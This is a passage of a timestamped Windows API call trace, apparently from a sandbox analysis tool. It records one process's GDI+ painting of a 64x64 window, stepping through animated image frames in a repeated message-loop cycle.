GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0177.519] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.519] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0177.520] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.520] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.520] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0177.520] GdipCreateRegion (region=0x15dc20) returned 0x0 [0177.520] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0177.520] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0177.520] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0177.520] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0177.521] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.521] GetSystemMetrics (nIndex=42) returned 0 [0177.521] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0177.521] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0177.521] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0177.521] CoTaskMemFree (pv=0x1e91eca0) [0177.521] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0177.521] GdipCreateRegion (region=0x15d710) returned 0x0 [0177.521] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0177.521] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0177.521] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0177.521] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0177.521] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.522] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0177.522] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.522] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0177.522] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.522] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0177.523] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.523] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.523] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0177.523] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0177.523] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0177.523] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0177.523] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.523] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0177.523] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0177.523] GetCurrentObject (hdc=0x2e010baf, type=0x1) returned 0x1b00017 [0177.524] GetCurrentObject (hdc=0x2e010baf, type=0x2) returned 0x1900010 [0177.524] GetCurrentObject (hdc=0x2e010baf, type=0x7) returned 0x1a05067e [0177.524] GetCurrentObject (hdc=0x2e010baf, type=0x6) returned 0x18a002e [0177.524] SaveDC (hdc=0x2e010baf) returned 1 [0177.524] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x41040b8a [0177.524] GetClipRgn (hdc=0x2e010baf, hrgn=0x41040b8a) returned 0 [0177.524] SelectClipRgn (hdc=0x2e010baf, hrgn=0x710407c3) returned 2 [0177.524] DeleteObject (ho=0x41040b8a) returned 1 [0177.524] DeleteObject (ho=0x710407c3) returned 1 [0177.524] OffsetViewportOrgEx (in: hdc=0x2e010baf, x=0, y=0, lppt=0x2765fe0 | out: lppt=0x2765fe0) returned 1 [0177.524] GetNearestColor (hdc=0x2e010baf, color=0xffffff) returned 0xffffff [0177.525] CreateSolidBrush (color=0xffffff) returned 0x49100190 [0177.525] FillRect (hDC=0x2e010baf, lprc=0x15d7c0, hbr=0x49100190) returned 1 [0177.525] DeleteObject (ho=0x49100190) returned 1 [0177.525] RestoreDC (hdc=0x2e010baf, nSavedDC=-1) returned 1 [0177.525] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.525] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2e010baf) returned 0x0 [0177.525] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb540dbd) returned 0x0 [0177.525] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.525] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0177.525] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0177.525] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.525] GetSystemMetrics (nIndex=42) returned 0 [0177.525] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0177.526] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0177.526] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0177.526] CoTaskMemFree (pv=0x1e91eca0) [0177.526] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x4) returned 0x0 [0177.528] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0177.528] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0177.528] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0177.528] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0177.528] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x2e010baf, x1=0, y1=0, rop=0xcc0020) returned 1 [0177.528] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.528] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2e010baf) returned 0x0 [0177.529] SelectObject (hdc=0x2e010baf, h=0x185000f) returned 0x1a05067e [0177.529] DeleteDC (hdc=0x2e010baf) returned 1 [0177.529] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.529] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0177.529] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0177.529] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0177.529] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0177.529] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0177.529] WaitMessage () returned 1 [0177.641] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0177.641] IsWindowUnicode (hWnd=0x2031e) returned 1 [0177.641] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0177.641] TranslateMessage (lpMsg=0x15e910) returned 0 [0177.641] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0177.641] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0177.641] GetCurrentThreadId () returned 0xec0 [0177.642] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0177.642] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0177.642] IsWindowUnicode (hWnd=0x2031e) returned 1 [0177.642] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0177.642] TranslateMessage (lpMsg=0x15e910) returned 0 [0177.642] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0177.642] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0177.642] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0177.642] CreateCompatibleDC (hdc=0x2d010b73) returned 0x2f010baf [0177.642] SelectObject (hdc=0x2f010baf, h=0x1a05067e) returned 0x185000f [0177.643] GdipCreateFromHDC (hdc=0x2f010baf, graphics=0x15daf0) returned 0x0 [0177.643] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0177.643] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0177.643] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0177.643] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0177.643] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0177.643] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.643] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0177.644] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.644] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.644] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0177.644] GdipCreateRegion (region=0x15dc20) returned 0x0 [0177.644] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0177.644] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0177.644] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0177.644] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0177.644] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.645] GetSystemMetrics (nIndex=42) returned 0 [0177.645] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0177.645] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0177.645] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0177.645] CoTaskMemFree (pv=0x1e91eca0) [0177.645] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0177.645] GdipCreateRegion (region=0x15d710) returned 0x0 [0177.645] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0177.645] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0177.645] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0177.645] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0177.645] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.645] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0177.646] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.646] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0177.646] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.646] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0177.646] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.646] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.647] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0177.647] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0177.647] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0177.647] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0177.647] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.647] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0177.647] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0177.647] GetCurrentObject (hdc=0x2f010baf, type=0x1) returned 0x1b00017 [0177.647] GetCurrentObject (hdc=0x2f010baf, type=0x2) returned 0x1900010 [0177.647] GetCurrentObject (hdc=0x2f010baf, type=0x7) returned 0x1a05067e [0177.647] GetCurrentObject (hdc=0x2f010baf, type=0x6) returned 0x18a002e [0177.647] SaveDC (hdc=0x2f010baf) returned 1 [0177.647] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x720407c3 [0177.648] GetClipRgn (hdc=0x2f010baf, hrgn=0x720407c3) returned 0 [0177.648] SelectClipRgn (hdc=0x2f010baf, hrgn=0x42040b8a) returned 2 [0177.648] DeleteObject (ho=0x720407c3) returned 1 [0177.648] DeleteObject (ho=0x42040b8a) returned 1 [0177.648] OffsetViewportOrgEx (in: hdc=0x2f010baf, x=0, y=0, lppt=0x27672d8 | out: lppt=0x27672d8) returned 1 [0177.648] GetNearestColor (hdc=0x2f010baf, color=0xffffff) returned 0xffffff [0177.648] CreateSolidBrush (color=0xffffff) returned 0x4a100190 [0177.648] FillRect (hDC=0x2f010baf, lprc=0x15d7c0, hbr=0x4a100190) returned 1 [0177.648] DeleteObject (ho=0x4a100190) returned 1 [0177.648] RestoreDC (hdc=0x2f010baf, nSavedDC=-1) returned 1 [0177.649] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.649] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2f010baf) returned 0x0 [0177.649] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb520dbd) returned 0x0 [0177.649] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.649] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0177.649] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0177.649] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.649] GetSystemMetrics (nIndex=42) returned 0 [0177.649] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0177.649] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0177.649] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0177.649] CoTaskMemFree (pv=0x1e91eca0) [0177.649] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0177.650] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0177.650] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0177.650] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0177.650] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x2f010baf, x1=0, y1=0, rop=0xcc0020) returned 1 [0177.650] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.650] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2f010baf) returned 0x0 [0177.650] SelectObject (hdc=0x2f010baf, h=0x185000f) returned 0x1a05067e [0177.650] DeleteDC (hdc=0x2f010baf) returned 1 [0177.650] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.650] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0177.650] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0177.651] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0177.651] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0177.651] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0177.651] WaitMessage () returned 1 [0177.767] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0177.767] IsWindowUnicode (hWnd=0x2031e) returned 1 [0177.767] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0177.767] TranslateMessage (lpMsg=0x15e910) returned 0 [0177.767] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0177.767] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0177.767] GetCurrentThreadId () returned 0xec0 [0177.767] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0177.767] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0177.767] IsWindowUnicode (hWnd=0x2031e) returned 1 [0177.767] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0177.767] TranslateMessage (lpMsg=0x15e910) returned 0 [0177.767] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0177.767] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0177.768] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0177.768] CreateCompatibleDC (hdc=0x2d010b73) returned 0x30010baf [0177.768] SelectObject (hdc=0x30010baf, h=0x1a05067e) returned 0x185000f [0177.768] GdipCreateFromHDC (hdc=0x30010baf, graphics=0x15daf0) returned 0x0 [0177.768] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0177.768] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0177.768] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0177.768] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0177.769] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0177.769] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.769] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0177.769] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.769] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.770] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0177.770] GdipCreateRegion (region=0x15dc20) returned 0x0 [0177.770] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0177.770] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0177.770] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0177.770] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0177.770] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.770] GetSystemMetrics (nIndex=42) returned 0 [0177.770] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0177.770] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0177.770] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0177.770] CoTaskMemFree (pv=0x1e91eca0) [0177.770] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0177.771] GdipCreateRegion (region=0x15d710) returned 0x0 [0177.771] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0177.771] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0177.771] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0177.771] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0177.771] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.771] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0177.772] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.772] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0177.772] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0177.772] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0177.772] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0177.772] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.772] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0177.772] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0177.773] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0177.773] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0177.773] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.773] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0177.773] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0177.773] GetCurrentObject (hdc=0x30010baf, type=0x1) returned 0x1b00017 [0177.773] GetCurrentObject (hdc=0x30010baf, type=0x2) returned 0x1900010 [0177.773] GetCurrentObject (hdc=0x30010baf, type=0x7) returned 0x1a05067e [0177.773] GetCurrentObject (hdc=0x30010baf, type=0x6) returned 0x18a002e [0177.773] SaveDC (hdc=0x30010baf) returned 1 [0177.773] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x43040b8a [0177.773] GetClipRgn (hdc=0x30010baf, hrgn=0x43040b8a) returned 0 [0177.773] SelectClipRgn (hdc=0x30010baf, hrgn=0x730407c3) returned 2 [0177.774] DeleteObject (ho=0x43040b8a) returned 1 [0177.774] DeleteObject (ho=0x730407c3) returned 1 [0177.774] OffsetViewportOrgEx (in: hdc=0x30010baf, x=0, y=0, lppt=0x2767c10 | out: lppt=0x2767c10) returned 1 [0177.774] GetNearestColor (hdc=0x30010baf, color=0xffffff) returned 0xffffff [0177.774] CreateSolidBrush (color=0xffffff) returned 0x4b100190 [0177.774] FillRect (hDC=0x30010baf, lprc=0x15d7c0, hbr=0x4b100190) returned 1 [0177.774] DeleteObject (ho=0x4b100190) returned 1 [0177.774] RestoreDC (hdc=0x30010baf, nSavedDC=-1) returned 1 [0177.774] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.775] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x30010baf) returned 0x0 [0177.775] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb500dbd) returned 0x0 [0177.775] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.775] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0177.775] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0177.775] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0177.775] GetSystemMetrics (nIndex=42) returned 0 [0177.775] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0177.775] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0177.775] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0177.775] CoTaskMemFree (pv=0x1e91eca0) [0177.775] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x6) returned 0x0 [0177.777] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0177.777] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0177.777] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0177.778] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0177.778] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x30010baf, x1=0, y1=0, rop=0xcc0020) returned 1 [0177.778] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.778] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x30010baf) returned 0x0 [0177.778] SelectObject (hdc=0x30010baf, h=0x185000f) returned 0x1a05067e [0177.778] DeleteDC (hdc=0x30010baf) returned 1 [0177.778] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0177.778] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0177.778] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0177.778] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0177.779] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0177.779] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0177.779] WaitMessage () returned 1 [0177.891] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0177.891] IsWindowUnicode (hWnd=0x2031e) returned 1 [0177.891] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0177.891] TranslateMessage (lpMsg=0x15e910) returned 0 [0177.891] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0177.891] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0177.891] GetCurrentThreadId () returned 0xec0 [0177.891] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0177.891] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0177.891] IsWindowUnicode (hWnd=0x2031e) returned 1 [0177.891] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0177.891] TranslateMessage (lpMsg=0x15e910) returned 0 [0177.891] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0177.891] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0177.892] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0177.892] CreateCompatibleDC (hdc=0x2d010b73) returned 0x31010baf [0177.892] SelectObject (hdc=0x31010baf, h=0x1a05067e) returned 0x185000f [0177.892] GdipCreateFromHDC (hdc=0x31010baf, graphics=0x15daf0) returned 0x0 [0177.892] GdipTranslateWorldTransform 